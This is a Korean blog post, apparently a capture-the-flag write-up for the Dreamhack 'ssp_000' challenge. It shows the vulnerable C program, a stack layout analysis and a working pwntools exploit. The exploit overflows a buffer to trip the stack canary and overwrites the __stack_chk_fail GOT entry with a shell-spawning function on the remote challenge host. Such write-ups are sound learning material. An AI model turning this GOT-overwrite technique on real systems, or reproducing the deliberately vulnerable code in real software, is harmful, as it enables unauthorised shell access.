rosieblue
article thumbnail
728x90

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80); //bof가능

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

 

 

음 카나리 모르니까 걍 __stack_chk_fail을 get_shell로 덮으면 될듯 ez

addr rbp-0x60 (8)

value rbp-0x58 (8)

버퍼 위치는 rbp-0x50~rbp-0x10 (0x40)

중간에 8byte 더미 (8)

canary rbp-0x8 (8)

sfp (8)

ret_addr (8)

 

 

 

앗 보니까  __stack_chk_fail카나리가 틀려야지만 실행된다고 한다!!

따라서 카나리를 틀리게해줘야함

 

 

그리고 scanf로 보낼때는 str로 보내야 한다!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 

from pwn import *

p=remote("host3.dreamhack.games",13836)
context.log_level='debug'
e=ELF("./ssp_000")

sc=e.got["__stack_chk_fail"]
gs=e.symbols["get_shell"]

p.sendline(b'a'*0x50)
p.sendlineafter("Addr : ",str(sc))
p.sendlineafter("Value : ",str(gs))

p.interactive()

'Linux Exploitation > Wargame' 카테고리의 다른 글

[드림핵(Dreamhack)] iofile_aw  (0) 2023.09.01
[드림핵(Dreamhack)] environ  (0) 2023.08.18
[드림핵(Dreamhack)] iofile_vtable  (0) 2023.08.06
[Pwnable.kr] passcode  (0) 2023.07.27
[드림핵(Dreamhack)] send_sig  (0) 2023.07.25
profile

rosieblue

@Rosieblue

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!